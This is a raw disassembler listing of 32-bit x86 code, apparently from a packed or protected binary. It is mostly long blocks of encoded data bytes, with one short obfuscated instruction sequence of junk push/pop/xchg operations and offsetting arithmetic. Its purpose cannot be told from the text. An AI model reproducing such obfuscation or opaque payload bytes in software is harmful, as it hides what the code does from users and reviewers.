		dd 0FF1E1FD3h, 1D151995h, 0B1950306h, 6A061D09h, 995FF00h
		dd 8B061D12h, 4E1FEBC0h, 8A0632C1h, 35B9243h, 0ED0A49D4h
		dd 4CDE608Fh, 2809FDAFh, 5CC5CE72h, 0F3F70EBAh,	9E82D6Dh
		dd 0BF000000h, 0B7D35CECh, 0D76A8EB9h, 8E9h, 0F8712500h
		dd 4533ACFDh, 0F515FFDh, 0A8Eh,	5E900h,	63520000h, 59FAD526h
		dd 5C8DC781h, 0D1810000h, 6EBB4CA4h, 0A1D0FEBAh, 11EA811Bh
		dd 8B1BA1BAh, 1D1841B5h, 0F1F8B06h, 68Bh, 1D9D8900h, 81061D31h
		dd 988250C3h, 8E90Dh, 51440000h, 0C8F83675h, 0F3818B19h
		dd 538EF5DCh, 4C01C381h, 89FC635Ah, 358D891Fh, 83061D14h
		dd 8C0F01EFh, 9, 38E0Fh, 0C8800000h, 4F4F4F7Eh,	1F1DF181h
		dd 0EA8113FDh, 1, 1E850Fh, 8E90000h, 61000000h,	29A2CF30h
		dd 0E94113F4h, 28h, 6311454Fh, 7E59CAAFh, 8A3637E1h, 2D39B523h
		dd 7AE9061Dh, 0E5FFFFFFh, 0F02B76CEh, 0AA60DBE2h, 3D9AF6C1h
		dd 35B4A45Bh, 10E8h, 0C698200h,	1DDB45B9h, 0FA1FB4E6h
		dd 0AD456347h, 3D9D89F8h, 5E061D1Dh, 0F3BF0F60h, 0C4C78166h
		dd 0C68161BEh, 677Fh, 0FF2B37B5h, 19199D89h, 34FF061Dh
		dd 5A19B337h, 9E59D89h,	0EA81061Dh, 6F76CEBCh, 2F098D03h
		dd 0F281061Dh, 6F576A87h, 0C28160B4h, 5CAD84EAh, 451850Bh
		dd 1489061Dh, 0E1858B3Eh, 81061D2Eh, 0D11B6BEFh, 81CA8B56h
		dd 0D11B67C7h, 199D8B56h, 81061D2Bh, 0FF993CFFh, 1F850FFFh
		dd 8B000000h, 1D2F618Dh, 2EE906h, 0EA090000h, 73D17887h
		dd 0D38AF631h, 779B0FC5h, 6C0FC0A9h, 8D0BCBC2h,	61D1B55h
		dd 0FFFF81E9h, 8FC970FFh
		dd 2ED7E70Ch, 0CE700995h, 0E335F5Bh, 75A38D8Dh,	6A0623h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0CA8148C3h, 6EAD7F0Eh, 0D18D89F8h, 89061D20h, 1D016D85h
		dd 1D85C706h, 0BC061D33h, 6A00005Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0E8F2C355h
		dd 85C7F88Bh, 61D2BF9h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B7C35343h
		dd 0B6954DDFh, 0E2EF9CEFh, 5AD68130h, 0FF6D911Fh, 1D3199B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0FBF431C1h, 0FF43D280h, 1D151995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F6D38DFDh, 1ABA6660h, 718D09E8h, 61061D14h,	95FF006Ah
		dd 61D1209h, 0AEBC08Bh,	0C6404C89h, 0B4462FE6h,	0FE86E3Fh
		dd 8E000000h, 0EA4080A5h, 0FA14E998h, 63561A6Eh, 8B66E74Ah
		dd 816658DEh, 81490ED2h, 67C3C0h, 3303B200h, 399D8BC9h
		dd 0FF061D19h, 23B70134h, 0F985895Eh, 81061D27h, 0D297EEEEh
		dd 0F856BA03h, 0EE81022Dh, 14CF7536h, 20880Fh, 14E80000h
		dd 46000000h, 0E1D3304h, 68DCE990h, 15749C26h, 213421C6h
		dd 8BA225DAh, 1D1435BDh, 0C6815B06h, 1FB4F8E3h,	2840Fh
		dd 0D18B0000h, 0FE8B6656h, 0F08048Fh, 0C8Fh, 7E900h, 2A1B0000h
		dd 950265FBh, 0FDCDBA15h, 0E98358B7h, 13E804h, 0ADAE0000h
		dd 210316D3h, 0B86C0DCFh, 0EF686B57h, 33A81DEh,	21BD89E5h
		dd 5F061D30h, 9904F981h, 850FFFFFh, 0FFFFFF63h,	299BD8Bh
		dd 0DE8061Dh, 7F000000h, 3AE8C79Bh, 0FAB6A6D4h,	0ED3571D8h
		dd 0D053D881h, 605A4A0Dh, 7A38F781h, 5E83ED5h, 36000000h
		dd 1D3064Dh, 31498D8Bh,	615A061Dh, 5902C281h, 29600000h
		dd 1D25A19Dh, 8E906h, 0A3910000h, 0E90F03C4h, 686147A1h
		dd 0
		dd 4E19589h, 665E061Dh,	0FF7D2AB8h, 81661634h, 59EAD1F3h
		dd 2B3D8D29h, 0E981061Dh, 31572A7Fh, 13E9h, 8AB59A00h
		dd 0AF95FCD0h, 8356FA2Ch, 0FBE029D6h, 0DD61067Bh, 5107E981h
		dd 6E840E2h, 7C000000h,	0DD3344F5h, 58C28BB8h, 0A749E981h
		dd 9D097E9Fh, 61D13B1h,	0D3816651h, 48F2CBEh, 10E832h
		dd 94190000h, 98FB9FA4h, 8D7CE9F0h, 881A20FCh, 25B32C30h
		dd 96BB6658h, 4EE838Ch,	0A804FE81h, 850FFFFFh, 1Bh, 2AE9DA8Bh
		dd 16000000h, 0FFF222B7h, 0FB213702h, 0A5AE268Ah, 37BD9460h
		dd 66C401A2h, 0E906FFB8h, 0FFFFFF5Bh, 50689648h, 1D67495Bh
		dd 97EE631Ah, 0A07582F6h, 14690889h, 8DA6DC78h,	36384473h
		dd 35A12E86h, 0D9259086h, 3025480Ah, 1C549905h,	3F25149Bh
		dd 30257602h, 0E5980786h, 30235F96h, 3057A589h,	0B5E39086h
		dd 363853A3h, 0DE274CC8h, 34A44DF2h, 0FDCC37A2h, 41907BCEh
		dd 0BD235FAAh, 1052DE03h, 0BBF56F80h, 15A08E76h, 7E23399Dh
		dd 0EC3794EEh, 142188DBh, 7A43403Ch, 20F0F779h,	0B5A8279Bh
		dd 3605E779h, 0C8AE9879h, 3025343Fh, 302DFB86h,	3F830986h
		dd 30258A03h, 0F92E0B86h, 0CFD5A489h, 3DCC6F79h, 0BD254886h
		dd 2D69AD1Bh, 3020AA80h, 0D3DA0986h, 47B4390Bh,	0BDA844A5h
		dd 360659C8h, 823Eh, 0F1EA6300h, 0A075826Fh, 14690889h
		dd 8DA6DC78h, 36384473h, 35A12E86h, 0D9259086h,	3025480Ah
		dd 0E9839905h, 0B9A4F305h, 22h,	5B2604EBh, 0CE96DC5h, 95000005h
		dd 8C25CFA5h, 7E17C1A7h, 720BB5B7h, 63FCA6C2h, 77EF99D3h
		dd 0F973C3B8h, 0EF81B64Fh, 0E48CAC45h, 0D4A0A13Ah, 20B2442Ah
		dd 2361DE8Ch, 7729B71Dh, 61DED1E5h, 0D331E223h,	2E8A1F2Ch
		dd 0DAFEDFBEh, 0D56C2583h, 2F07C29Fh, 47FA933Dh, 0AC95502Dh
		dd 514757E9h, 0B9542542h, 3F10ED7Bh, 0EB85B36Eh, 8F6C3D0Eh
		dd 2C095FD4h, 4F35E569h, 4AD882F2h, 51F60698h, 52032542h
		dd 73FD3BF4h, 680830C9h, 967D08Bh, 0E931D52Ch, 29D39D9Bh
		dd 13C3B190h, 0AC89EB56h, 0F2A27DDBh, 511EAE40h, 10AB2542h
		dd 18764725h, 42517F8Ah, 0E238C025h, 0FFCB09A3h, 0A03014h
		dd 14890000h, 0DA6A472Dh, 2542A6C0h, 3ACF8111h,	0E737E1Ah
		dd 9323B37Ch, 752542B2h, 42B2D3E3h, 2A2FE025h, 0A5751B79h
		dd 0FF28CEE0h, 16D14h, 1FC60000h, 0C2222E8Ah, 42149C30h
		dd 0E97C2D25h, 1472D5DFh, 0E090D85Bh, 0AFE4E04Bh, 0DF3D6C14h
		dd 10A25404h, 2542A3FCh, 45FE5C0Dh, 0E29D7AEEh,	76391652h
		dd 9E142DEAh, 3656C4F1h, 2300D176h, 8AA5A190h, 0AA7B39D4h
		dd 1074A64Ch, 0E3954523h, 42FDBD51h, 0E29D4E25h, 6738155Fh
		dd 16D36109h, 36EF4D1Fh, 7B9690Bh, 42FD6175h, 63C17225h
		dd 221434BBh, 0BD6D4Ah,	50D97333h, 239A0CB6h, 0C2E27552h
		dd 6C2A8B70h, 0BF78D6A7h, 73831574h, 8025425Ah,	2121FECFh
		dd 35018397h, 4DF48D37h, 0A68F4A27h, 4191C804h,	97298145h
		dd 2542B707h, 4112E394h, 0C852DC64h, 432D0AC7h,	7F379566h
		dd 14FF2B7Dh, 8E1Ch, 22147500h,	0C293E160h, 9FDF5512h
		dd 2502D395h, 601BF654h, 0F7BA97D5h, 59DDA773h,	66D06913h
		dd 12A45606h, 2542A682h, 0B18EDA59h, 0CC2ADBE0h, 0A8FE36F1h
		dd 0FD518EF8h, 0F2CFA024h, 0FF910037h, 25426BEFh, 9D7A4BFCh
		dd 2CE6630Ah, 1BD6EB6Bh, 7376531Dh, 0BB432BEFh,	11A6E931h
		dd 751D243Eh, 6A228076h, 14FF4450h, 3E07h, 22146000h, 12059A4Ah
		dd 0BA4ADCB7h, 472542E1h, 33790396h, 0E49F7AD8h, 3C3F1C54h
		dd 142262B8h, 1427AE58h, 0DC6C491Fh, 2542A6CDh,	6FC58212h
		dd 25F59BF9h, 0FF3C4E60h, 1ED14h, 14460000h, 0BE6E4B21h
		dd 0D8363201h, 7552221Fh, 0E1DD721Eh, 0ADA3AA25h, 70AA50AEh
		dd 0A14B2114h, 0BE5055E3h, 2542E32Eh, 0E36E7E10h, 0CA7B2542h
		dd 0D26414C5h, 2542E3C2h, 9D4D1ECFh, 45F32E0Bh,	2704B51Fh
		dd 0F59FD56Ch, 8FA5E55Ch, 5A2BFCD9h, 93D3ED7Dh,	66EADCA1h
		dd 371D0B4h, 0F381C059h, 8EE65B16h, 2E42F6B1h, 0CA9E9651h
		dd 0B466EAEDh, 6B28BABAh, 992DBFD6h, 2ADCA193h,	0FACBA879h
		dd 6024F69Ch, 5BE993E1h, 77D5979Eh, 1C092DBFh, 1094CEDh
		dd 0EFA50000h, 0D98B3B59h, 102D7744h, 0F734724Bh, 0F5439082h
		dd 31BF1DEEh, 1F453690h, 0DA957223h, 0A05D0D67h, 0D27AD898h
		dd 0EC009244h, 0FDDCA1C6h, 0C35EE4Ch, 0D8B5B77Eh, 0C9863607h
		dd 5223006Ch, 0E35E19F4h, 3AF9B491h, 0AA7BF144h, 4B2512CDh
		dd 0E7C4A490h, 8663092Ch, 0BE5C04B5h, 0F426B0B0h, 5CD9B190h
		dd 91623310h, 5B1124E1h, 0A74FAD7Eh, 1C5C9D0Fh,	319CEDh
		dd 0EFF50000h, 0CF8C3C58h, 0F6A40272h, 42A6E064h, 2300B125h
		dd 42A60393h, 0DE3CE425h, 1ECEAA81h, 0E789AF6Ch, 0A65BFB89h
		dd 97482542h, 6170EDh, 0EFCB0000h, 0CE8B3B59h, 0F6A40266h
		dd 45C02D64h, 43FEBB1Fh, 1FD0D331h, 0E983B26Fh,	4E00B08Bh
		dd 0A07C28BCh, 0AA08B9DCh, 3E6250F1h, 0E032FFE8h, 831CC697h
		dd 49D9B6BEh, 0DCA0D7BAh, 295BBF43h, 0F4B25C18h, 924226h
		dd 0E6C1E17Ah, 26E1BE6Fh, 257C591Bh, 70C69981h,	54D26414h
		dd 41EC9D79h, 0EF5FE690h, 0F98B3B59h, 1F238E73h, 1FDAB768h
		dd 1AA85222h, 0B794D85Dh, 2E617507h, 0C172DC9Eh, 6B0135F0h
		dd 0C5ED540Dh, 8B41784Ah, 35E5B6A9h, 0C0667FA0h, 0A4027C3Fh
		dd 3ECF39C9h, 0A96C53Ch, 0A885EB4Dh, 51171CD7h,	0B7CD4DF3h
		dd 7D3AEA8Ah, 6D7B4B8h,	0DA6700A8h, 3202BD9Ah, 5E025936h
		dd 0FB79C8BCh, 0EB89B851h, 36F0Eh, 5DCA0000h, 4E2614B6h
		dd 0E98BB671h, 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh
		dd 266CE89h, 0A1CB6A25h, 3E2A09C4h, 89579C61h, 4C781E7h
		dd 83000000h, 0FF5704EFh, 5F042474h, 5C24048Fh,	6DD968h
		dd 241C8900h, 199A68h, 24148900h, 1F9ABA52h, 0D2F7595Ah
		dd 8142DAF7h, 3D3902E2h, 7FB85064h, 31463B61h, 0D38958C2h
		dd 148B545Ah, 4C48124h,	50000000h, 8B8h, 89D00100h, 24048B18h
		dd 4C481h, 148B0000h, 0E7895724h, 4C781h, 0C7810000h, 4
		dd 5C243C87h, 5B2434FFh, 0E904C483h, 0FFFA022Eh, 0B86785FAh
		dd 6237D06h, 0E0FFC503h, 7E60E642h, 3EAD57E8h, 7341DE2Fh
		dd 6B856E08h, 5E502D7Ch, 10C58FA2h, 677617C8h, 2A9A52C3h
		dd 4B79B39h, 4B6295D1h,	216BCEC2h, 71BC417Eh, 7D35E714h
		dd 25B8A451h, 1E69E5h, 5C24E921h, 11D46599h, 96E187Ch
		dd 1CF1705Dh, 4688FACAh, 459EB8EFh, 948620h, 570DCE57h
		dd 0D7F7DA3h, 1FA77032h, 3A9BCF40h, 2EE6D52Ch, 4400835h
		dd 9E8h, 9813DD00h, 4353E798h, 8B66DA65h, 81F55ED0h, 5E4AC6h
		dd 15B96600h, 20EBF08h,	0C781011Eh, 0FEE21553h,	0C0811E8Bh
		dd 4E3E4CEh, 5B6BF381h,	0BF0F46A6h, 0BEEB81D7h,	0E961F224h
		dd 10h,	0AD07E373h, 0D91CFA32h,	853519BAh, 0C9F65E28h
		dd 49FAEB81h, 0BA6650CAh, 0F538107h, 38Ah, 0D3B70F00h
		dd 860F068Fh, 2, 0EE83D58Ah, 90ADB804h,	0F4F404Fh, 2085h
		dd 5E800h, 64AC0000h, 66962B5Ch, 0E958D18Bh, 3Bh, 2CF0958Fh
		dd 303502C5h, 9E5B5FB3h, 0FE8BEh, 7E4E0000h, 4822E508h
		dd 11ED6C30h, 0F1E185Bh, 3810FDAh, 80000000h, 0E95925E5h
		dd 0FFFFFF64h, 0E8F74D61h, 634D958Ah, 0EB78D84Bh
		dd 0F7FE7004h, 871E94Dh, 4360000h, 62DC670h, 161FB862h
		dd 2113AC56h, 32049D47h, 5B18903Ah, 0F09AD264h,	0E690E057h
		dd 0DB85EB4Dh, 0CB75FF42h, 2DC153E5h, 0BE2361D8h, 0AA3FD158h
		dd 832542A6h, 5406B6BEh, 42A632C2h, 444CBF25h, 0F5B2D22h
		dd 0EF97F5C6h, 0CD7D1B31h, 0E7452310h, 7CCAA739h, 98491F45h
		dd 4C3600BBh, 0D3A481E7h, 9F955202h, 0AA3CECC9h, 0DCA17D1Ah
		dd 0C725F6A7h, 0DABB861Fh, 0A17DB448h, 0D99445DCh, 603D0E5Ah
		dd 0FBD89CA5h, 88AC69FBh, 0D43203E0h, 0A998EC2Eh, 9ABAF109h
		dd 4E1FA210h, 0EFE20CA4h, 7699ED1Ch, 0F2000000h, 0CBDB6D1Fh
		dd 0D82542A6h, 36BE4D65h, 3304672Dh, 681A1CD5h,	0F3C4A1CFh
		dd 0D8954522h, 62331060h, 81EB4B04h, 1AA4A4h, 10BAB284h
		dd 0FF337678h, 3F0514h,	1F5E0000h, 92AFD362h, 633405E2h
		dd 9E57B586h, 67F7D498h, 2542A652h, 0DCA872F8h,	7C19285Ah
		dd 42A6DAEAh, 6536E725h, 0F64FE494h, 9A2ABC44h,	27254273h
		dd 0C605E376h, 9862E8Ch, 23h, 4A221464h, 0A6C3DD6Dh, 56DA2542h
		dd 270ECBC4h, 0C0AC8A45h, 0FBB412E3h, 0F987313Bh, 926F053Ch
		dd 0EFBC63C1h, 0D34A7959h, 4CC6C121h, 7FFA0A9Ch, 56072542h
		dd 6243D585h, 461F456Ch, 60D5FFB1h, 0E03E3D93h,	0CA7C2CDDh
		dd 6340340Dh, 0F5F20292h, 4EFFDCA1h, 0DB5A15F0h, 0F24E191h
		dd 4DAB7C59h, 43290CA5h, 0D4B08666h, 0CCE07224h, 0DDDCA1F5h
		dd 8E20CE2Ch, 0E6A6F6EBh, 136A47F8h, 5CD9AB6Fh,	0F70F9F31h
		dd 50E6D684h, 9566171Ch, 89E352EBh, 0F7F81CACh,	0C073D684h
		dd 2610CBA8h, 10B86946h, 0E3F3850Ah, 0F0D684F7h, 0DBD6E3Fh
		dd 4D39BC78h, 8843189Ah, 0DDEBBB9h, 7E1109AFh, 0FDC366E9h
		dd 81A13438h, 752E8CC5h, 1076C2C0h, 0A3744523h,	5CEF72F9h
		dd 44D68838h, 2542A6B0h, 8B329041h, 2D1449F2h, 9E259E47h
		dd 0FF308B15h, 6AB217h,	47040000h, 0F5099BFAh, 6D842A6h
		dd 0D6A78455h, 621FD178h, 9727B9D4h, 242542A6h,	0F4C5A273h
		dd 167B896h, 0D6621F58h, 8EECBD9Ah, 0A6BE4EE0h,	0BB4B2542h
		dd 0A6363AFEh, 2542A616h, 196F3215h, 0A6ABD582h, 1F7B24F5h
		dd 3C9AD662h, 2114E38Eh, 59EBA24Bh, 74D29A9Ch, 3830CDh
		dd 0C7840000h, 4B21146Eh, 51E29D7Ah, 41E84617h,	8F385CEFh
		dd 0A6798D1Fh, 74272542h, 0D86D1FCBh, 0BEF0691Fh, 90A6616Bh
		dd 0D02EFFDCh, 4B211429h, 0D1621FA2h, 8BE9BA97h, 621F1EA9h
		dd 0E7B895DFh, 4171D089h, 0AF0CC883h, 0D9895A94h, 97521A1Ch
		dd 946FCD9Fh, 3F006A04h, 0ED2DB125h, 20CAAA97h,	0E0BDAF87h
		dd 7E5B1125h, 5E26F47Eh, 32E494D8h, 2DEEE80h, 3AEBDAB9h
		dd 0B9021AAAh, 98F6A7DAh, 63CD62F0h, 789D4CE3h,	0B693D55Eh
		dd 0DF5914E5h, 85E3B491h, 44423CDh, 365AEBh, 17AC0000h
		dd 0B4CEDD79h, 56FD5BA0h, 7028A1Fh, 30C8DC6Eh, 28D92542h
		dd 0BD049495h, 0EF9BA65Fh, 76532444h, 34E48096h, 4516EBA2h
		dd 9A77281Fh, 0BDC753D7h, 0BF46F084h, 0D75D2D14h, 3E3C091h
		dd 0ED9F4F35h, 8B680830h, 0EFCE5CBAh, 0D11F45A2h, 161C6D3Ch
		dd 0B412CEF7h, 0CF5600B1h, 8F385CEFh, 0AF8542F2h, 0A6B448DAh
		dd 94452542h, 14BE65C3h, 259E472Dh, 505EDA97h, 765BBC72h
		dd 0EC4A1BBFh, 308B1545h, 2FB217FFh, 0B000000h,	22765CEFh
		dd 0AF57CB76h, 7AE267FAh, 204B25A5h, 8D1FA64Fh,	2542A679h
		dd 1F30D98Ah, 4B211474h, 1355DE9Bh, 60EB0EB5h, 2E30h, 5CEF8B00h
		dd 8D1F8F38h, 2542A679h, 0A0C44ADFh, 1E2833C9h,	0FEA75AC0h
		dd 2114741Fh, 0C99AD661h, 8FE55C19h, 59EB8A31h,	0F3D0989Ch
		dd 141DC422h, 0DA6A472Dh, 253F2550h, 0F53EFB87h, 9174EAB1h
		dd 21F2EB4Fh, 6F157344h, 0C68D9ABh, 0D4949F5Ch,	72FA3CF7h
		dd 95F3C495h, 8AE254EDh, 2844F2ADh, 0A034C678h,	7BDAB92Dh
		dd 0D1AEC6h, 0A98F4AFBh, 0D38E69C7h, 6E29066Eh,	0C4C7A4C8h
		dd 9494DA40h, 0EA7F100Ah, 277BF692h, 72CF8ADBh,	4BEBA402h
		dd 0CDDF7721h, 32EB04A1h, 37DEEE80h, 15DDAB9h, 8D02CA31h
		dd 88AD484Dh, 41B513E4h, 3Bh, 0EB8A1F9Ah, 0B5BB7C53h, 6353DC22h
		dd 7FF54C05h, 4E74C2A2h, 256ED989h, 0BBB8C07h, 45291879h
		dd 0EDCA7B1Fh, 52E19E2Ah, 812B816h, 0FFAFC57Ch,	1977F142h
		dd 1026E371h, 1457FE5Ch, 8A6A472Dh, 9628D8BCh, 1F45B0AFh
		dd 0BBB18441h, 0FFA95A5Dh, 0DB6D1F78h, 2542A6CBh, 0EBC927D8h
		dd 0F2933C58h, 0B9AF8542h, 591721DCh, 2ADAAB7Ch, 42A60498h
		dd 86E49525h, 852D14DFh, 0A1730D9Ch, 862F009Ch,	0ADD1621Fh
		dd 3512E389h, 0D75E0664h, 0FF308B15h, 34C67817h, 0D842A6A0h
		dd 3ED08031h, 0D842A6AEh, 0B82C8A3Bh, 2Dh, 385CEF11h, 0D1621F8Fh
		dd 2EE9BA97h, 5B096709h, 1F55ECA9h, 85137142h, 2542A671h
		dd 1F28D182h, 4B211474h, 3060EBA2h, 20h, 385CEF8Bh, 0D4621F8Fh
		dd 0FA8C3A98h, 2542A6EAh, 1F38E194h, 3795DF62h,	2114DE89h
		dd 60EBA24Bh, 6A472D14h, 3F2550DAh, 17038725h, 0F6A0D46Dh
		dd 0B390E45Dh, 6F1F45D3h, 353300BDh, 0CF5449D7h, 36E7E0BEh
		dd 5CEF058Ch, 49F28F38h, 0F6268A1Fh, 97C80E7h, 254FF2ABh
		dd 159E257Ch, 17FF308Bh, 53B2h,	0A96F0400h, 0F9F3194h
		dd 9CD84282h, 94FD58EBh, 1F8B3290h, 0A6CBDB6Dh,	9B2D2542h
		dd 2542A60Bh, 31E2E798h, 4622F5D3h, 798D1F9Dh, 8A2542A6h
		dd 0D56C29D9h, 1F9A419Fh, 9529BB6Dh, 262542A6h,	14701775h
		dd 0EBA24B21h, 0D59B9C59h, 2E30D077h, 8B000000h, 8F385CEFh
		dd 0A6798D1Fh, 74272542h, 0D86D1FCBh, 92AFCBF6h, 0A13405E2h
		dd 9EFC5151h, 0DB6D1FF7h, 2542A6CBh, 10C927D8h,	0EB9E4725h
		dd 682D1460h, 42A6C6D6h, 5122D325h, 3A07C474h, 0B3B57F3Ah
		dd 25ADC755h, 0F074253Fh, 8DE75A2Ah, 7DF74AE3h,	0E6AC0A0h
		dd 0E34DCC5Eh, 6E2BE0BEh, 1ACAA7C9h, 9CD27488h,	3D485DCh
		dd 207EEE48h, 3BC26C1Dh, 8F385CEFh, 10548A1Fh, 0E1998A39h
		dd 91B7C3D8h, 89E7B8E8h, 0BA4CFEAEh, 25423E2Ah,	353A3601h
		dd 64981BC2h, 764758BCh, 2D147118h, 0A6C6D668h,	22D32542h
		dd 9E25A851h, 0FF308B15h, 1FB217h, 0EF0B0000h, 1F8F385Ch
		dd 42A6798Dh, 30D98A25h, 2114741Fh, 0C495D361h,	3060EB1Bh
		dd 32h,	4E5CEF8Bh, 0D39D9BE7h, 775425F6h, 1E56EBA6h, 0F69F7041h
		dd 0A6798D1Fh, 74272542h, 1F741FCBh, 0EB9BD562h, 42A64559h
		dd 47A55625h, 1CC5A78Eh, 621F60EBh, 813A98D4h, 0F7D7B4C0h
		dd 91DF5921h, 0A6BF4FE1h, 9B4C2542h, 0AB681ACAh, 3304E18Bh
		dd 42A613A3h, 91EFA025h, 0BD8C51E3h, 0AC1F1F45h, 74ECCC83h
		dd 0DAB35D75h, 0A21ACB5Eh, 0FEBC6637h, 0A9C4C28h, 0E6C158CBh
		dd 8F4A27D8h, 7F18C2B2h, 45D5B2C2h, 0AEB1DC9Dh,	0BB98D860h
		dd 5C393700h, 2945D559h, 5738E266h, 50E69C9Ah, 9D6E3F1Ch
		dd 0D891EFC0h, 0C8610B69h, 0B64BFB79h, 0D3AB16C2h, 0C5E1BC5Eh
		dd 89A09AAh, 4EFED937h,	1ACAA691h, 0A8CD7488h, 76D48582h
		dd 41F177BDh, 36A44DACh, 9A4A9CDFh, 0A873F408h,	0F6540582h
		dd 0FA20C41Bh, 13BDB78Ah, 0FDADC77Ah, 9B78F840h, 0E1916CCAh
		dd 73099D2Fh, 0E99A82A8h, 0CEE8Bh, 1F490000h, 0A188EC8Ah
		dd 53B1AC90h, 26143CE3h, 8BB6714Eh, 0E7510CE9h,	46F1AC89h
		dd 0A4924D2Ah, 630EBC8h, 66CE8966h, 0CB6A2502h,	2A09C4A1h
		dd 539C613Eh
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	0F3682434h, 8900005Fh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, 0F9F0B6Fh
		mov	ebp, 0F684736Fh
		add	ebp, 1FB07E8Bh
		add	ebp, eax
		sub	ebp, 1FB07E8Bh
		pop	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		add	ecx, eax
		mov	[ecx], ebp
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_544162
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0B8E838F9h, 62386D3h, 0E0FFC503h, 43902977h,	566C7B45h
		dd 55E0E109h, 107DF440h, 6AA124DDh, 757AC777h, 544B95ABh
		dd 4E172B71h, 0C986A86h, 390A363Dh, 1BA7BF6Fh, 0D0D0A2Ch
		dd 0F2C87BAh, 236F597Eh, 56C82FDCh, 6E27BAF7h, 65EBF01h
		dd 509C5BC7h, 5358507Eh, 6321B447h, 88548D8Dh, 8D290623h
		dd 61D200Dh, 20D18D89h,	9589061Dh, 61D0509h, 331D85C7h
		dd 6CF0061Dh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0F4883EC3h, 0DE1B4A0h, 1059D23h
		dd 4AB0061Dh, 1B718589h, 85C7061Dh, 61D2BF9h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 77C35343h
		dd 0BF0FA178h, 3F381D9h, 0FF53C770h, 1D13F5B5h,	0C9BD8906h
		dd 66061D2Eh, 0FFA40DB8h, 1D151995h, 7E906h, 73B0000h
		dd 3F83F5B5h, 0FF006A67h, 1D120995h, 0EBC08B06h, 18CF866Ah
		dd 5D74E462h, 2F84F8B2h, 75BBC9F4h, 3BCDF2D8h, 2F1C3098h
		dd 175136DCh, 0D0580C32h, 0ACC2BF5Ah, 0AAF6110Eh, 1B28B887h
		dd 2CC01098h, 0E4250CB5h, 0A4A134A1h, 53C924Ah,	1873E2D8h
		dd 0F798EC6h, 36D1450Fh, 32D3C93Ch, 6E55AD90h, 65B31643h
		dd 0E5D0494Ah, 3802067Ah, 0A43070ABh, 18E9E2Bh,	8062038h
		dd 0E8DF051Dh, 0Ah, 0FD5C9614h,	6682A628h, 14E8C1BDh, 5000000h
		dd 0A39E46A9h, 2E2DFDABh, 745AAF33h, 623013Bh, 89010259h
		dd 1D01C98Dh, 35F5806h,	1D145D85h, 5DC78106h, 89000060h
		dd 1D2E7D8Dh, 17D3B906h, 89600000h, 1D1D2D95h, 0D858B06h
		dd 61061D08h, 81F8178Bh, 9DDA3FC2h, 0D88B666Dh,	0C85EC281h
		dd 9EB84844h, 81608533h, 5A50C3C2h, 0E5BD893Eh,	89061D1Ah
		dd 0F2BF0F17h, 0F02EF83h, 86h, 0E84F4F00h, 13h,	406D8C0Bh
		dd 567BABD1h, 8D936AA2h, 0A7332619h, 8066E1FFh,	49585BC8h
		dd 3E850Fh, 14E80000h, 0A3000000h, 637402AAh, 71404DA0h
		dd 0CDD1F8Dh, 0EB84744Dh, 0E8758875h, 0Bh, 79E43D0Dh, 8D9D6915h
		dd 8BD42D73h, 1D0F0185h, 0E9585806h, 39h, 55F67260h, 1B98DCB9h
		dd 13880Fh, 890F0000h, 0Dh, 8E9h, 63A76700h, 42B4EBE5h
		dd 0FF4EE975h, 0F853FFFFh, 0E896C8FFh, 6BD9DF23h, 847BE11Ah
		dd 727A2980h, 828D8D78h, 8906238Ah, 1D20D18Dh, 10E906h
		dd 79960000h, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h,	85C7E06Dh
		dd 61D331Dh, 5DE0h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 3BC35343h, 6E317B9Ch,	0A4D530A7h, 0CE81603Eh
		dd 1C2B7143h, 0A99D8B61h, 0C7061D29h, 1D2BF985h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0FCF7F2Ch, 28Fh, 0FFFB8B00h,	1D16C1B5h, 2EBB6606h, 1995FFA8h
		dd 6A061D15h, 995FF00h,	8B061D12h, 9F5EEBC0h, 0BAD45E56h
		dd 0AB7E4356h, 0A9C9CCEh, 0B1526E62h, 3075A310h, 0A532E673h
		dd 3D0918FCh, 114B7A08h, 6E255EC9h, 0C767E313h,	0ADE4A1F4h
		dd 7C6623A1h, 0D7640560h, 0E3BFC105h, 0B56DAB73h, 9CBF54C3h
		dd 4DAD58DFh, 29181CEBh, 48AEF3A2h, 0DA354CACh,	0A1583351h
		dd 71B43060h, 795305D9h, 6E8DAh, 92140000h, 4AB1CC16h
		dd 16B59D89h, 0F5F061Dh, 0E85h,	9E900h,	213B0000h, 0D05F0217h
		dd 8184BD3Bh, 6BE5C7h, 0ED4BBB00h, 0C92B53D5h, 48C0Fh
		dd 60510000h, 34FF5A61h, 0EB816639h, 0E95EEAA3h, 12h, 0EBD95F81h
		dd 4BF17428h, 0B57CB106h, 0E7E8CA5Ch, 0C681DBE3h, 52409EB1h
		dd 0EE81D78Bh, 2D3D7CD0h, 1D259D8Bh, 0EE81061Dh, 13AED47Dh
		dd 56C78B66h, 2989858Bh, 48F061Dh, 0A2D0810Fh, 5039B69Dh
		dd 21C9858Bh, 835B061Dh, 858904E9h, 61D2B69h, 94F4F981h
